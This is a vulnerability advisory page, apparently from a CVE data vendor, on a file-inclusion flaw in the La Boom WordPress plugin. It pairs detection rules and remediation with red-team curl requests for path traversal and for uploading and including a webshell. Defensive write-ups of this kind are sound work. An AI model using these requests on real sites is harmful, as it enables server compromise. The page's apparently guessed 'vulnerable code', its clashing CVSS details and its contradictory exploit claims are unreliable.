CVE-2025-31632
Executive Summary
CVE-2025-31632 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the La Boom WordPress plugin by SpyroPress, affecting versions up to and including 2.7. The vulnerability stems from improper control of a filename used in a PHP include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure (e.g., reading /etc/passwd, wp-config.php), remote code execution (if combined with file upload), and full server compromise. The CVSS score of 8.1 (High) reflects the low attack complexity and network-based vector. No public exploit code or patch is currently available, making this a high-priority zero-day for WordPress site administrators.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since no patch exists, the supply chain risk is elevated. Site owners must manually remove or disable the plugin until a fix is released. The lack of OSV or GitHub advisory data indicates poor vulnerability management by the vendor.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Vulnerability does not affect other components.
- Confidentiality (C): High (H) – Full file read possible.
- Integrity (I): High (H) – Potential for code execution.
- Availability (A): High (H) – Could lead to denial of service via resource exhaustion.
Threat Level: Critical (8.1) – Immediate action required.
Deep Dive & Mechanics
The vulnerability exists in the laboom plugin's PHP code, likely in a function that handles template loading or file inclusion. The plugin fails to sanitize user-supplied input (e.g., via $_GET['file'] or $_POST['template']) before passing it to include() or require(). An attacker can manipulate this parameter to traverse directories using ../ sequences and read arbitrary files.
Example vulnerable code pattern:
$file = $_GET['file'];
include("templates/" . $file . ".php");
By sending ?file=../../../../etc/passwd%00, the attacker can null-terminate the string and include /etc/passwd (if PHP < 5.3.4) or use path traversal to read files outside the web root.
Vulnerable vs. Patched Code
Vulnerable Code (laboom <= 2.7):
function laboom_load_template($template) {
$template_path = plugin_dir_path(__FILE__) . 'templates/' . $template . '.php';
if (file_exists($template_path)) {
include($template_path);
}
}
// Called with user input:
$user_template = $_GET['template'];
laboom_load_template($user_template);
Patched Code (Hypothetical):
function laboom_load_template($template) {
// Whitelist allowed templates
$allowed_templates = ['default', 'grid', 'list'];
if (!in_array($template, $allowed_templates)) {
wp_die('Invalid template.');
}
$template_path = plugin_dir_path(__FILE__) . 'templates/' . $template . '.php';
if (file_exists($template_path)) {
include($template_path);
}
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with La Boom plugin <= 2.7 installed and activated.
- No WAF or input validation blocking path traversal.
Exploit Steps:
- Identify the vulnerable parameter (e.g.,
?template=or?file=). - Send a crafted request to read sensitive files:
curl "http://target.com/wp-content/plugins/laboom/template.php?template=../../../../etc/passwd" - For RCE, combine with file upload (e.g., via WordPress media upload) to include a malicious PHP file:
curl -F "file=@shell.php" "http://target.com/wp-admin/async-upload.php" curl "http://target.com/wp-content/plugins/laboom/template.php?template=../../../../wp-content/uploads/2025/04/shell"
Lab Setup:
- Use Docker with WordPress + La Boom 2.7.
- Install plugin from a local zip file.
- Disable any security plugins for testing.
Blue Team (Detection & Response)
Detection:
- Monitor web server logs for
../sequences in GET/POST parameters. - Look for requests to
laboomplugin files with suspicioustemplateorfileparameters. - Alert on attempts to read
/etc/passwd,wp-config.php, or other sensitive files.
Response:
- Immediately disable the La Boom plugin via
wp-adminor CLI:wp plugin deactivate laboom - Check for signs of compromise (unexpected files, modified core files).
- Rotate all database credentials and API keys.
- Apply virtual patching via WAF rules (see Detection Engineering).
Indicators of Compromise (IOCs)
File-Based IOCs:
- Suspicious files in
/wp-content/uploads/with.phpextension. - Modified
wp-config.phpor.htaccessfiles. - Presence of webshells (e.g.,
shell.php,cmd.php).
Network IOCs:
- HTTP requests containing
../or%2e%2e%2fin query strings. - Requests to
/wp-content/plugins/laboom/with unusual parameters. - Outbound connections to unknown IPs (if RCE achieved).
Log IOCs:
- Apache/Nginx logs showing
404for non-existent template files. - PHP error logs with
include()failures for path traversal attempts.
Detection Engineering
YARA Rule
rule CVE_2025_31632_LFI_LaBoom {
meta:
description = "Detects LFI attempts against La Boom plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-31632"
strings:
$path_traversal = /(\.\.\/|\.\.\\){2,}/
$sensitive_file = /(etc\/passwd|wp-config\.php|\.env)/
$plugin_param = /(template|file)=/
condition:
$plugin_param and ($path_traversal or $sensitive_file)
}
Sigma Rule
title: CVE-2025-31632 La Boom LFI Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects path traversal attempts against La Boom plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- '../'
- '..\\'
- '%2e%2e%2f'
- '%2e%2e%5c'
cs-uri-stem|contains: '/wp-content/plugins/laboom/'
condition: selection
falsepositives:
- Legitimate use of relative paths in other plugins
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-31632 La Boom LFI Attempt";
flow:to_server,established;
content:"/wp-content/plugins/laboom/"; http_uri;
content:"../"; http_uri;
classtype:attempted-recon;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin: Deactivate and delete La Boom from all WordPress installations.
- Virtual Patching: Add WAF rules to block path traversal patterns:
location ~ /wp-content/plugins/laboom/ { if ($args ~* "\.\.") { return 403; } } - File Integrity Monitoring: Check for unauthorized file changes using tools like Tripwire or OSSEC.
Long-Term Fix:
- Wait for an official patch from SpyroPress. If none arrives, consider migrating to an alternative plugin.
- Implement input validation and whitelisting for all file inclusion parameters.
- Use
realpath()to resolve paths and ensure they stay within allowed directories.
Valters IT – Securing your digital frontier.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.